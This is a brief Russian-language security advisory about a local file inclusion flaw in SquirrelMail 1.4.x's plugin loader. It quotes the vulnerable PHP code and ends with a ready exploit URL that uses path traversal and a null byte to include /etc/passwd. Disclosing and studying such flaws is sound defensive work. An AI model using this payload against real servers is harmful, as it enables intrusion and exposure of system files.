Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в squirrelmail.
Компьютер для продвинутых
пользователей
Содержание:
squirrelmail
ПО: squirrelmail
Версия: 1.4.х
Уязвимость:
Ошибка содердиться в functions/plugin.php.
if (isset($plugins) && is_array($plugins)) {
foreach ($plugins as $name) {
use_plugin($name);
}
....
function use_plugin ($name) {
if (file_exists(SM_PATH . "plugins/$name/setup.php")) {
include_once(SM_PATH . "plugins/$name/setup.php");
$function = "squirrelmail_plugin_init_$name";
if (function_exists($function)) {
$function();
}
}
}
.....
Если register_globals в положении on мы можем контролировать переменную
$name.
В порядке избегания ошибок необходимо установить SM_PATH. Для
использование нужно так же проконтролировать, что бы magic_quotes_gpc
needs была установлена в off. Использование:
http://[host]/[squirrelmail
dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00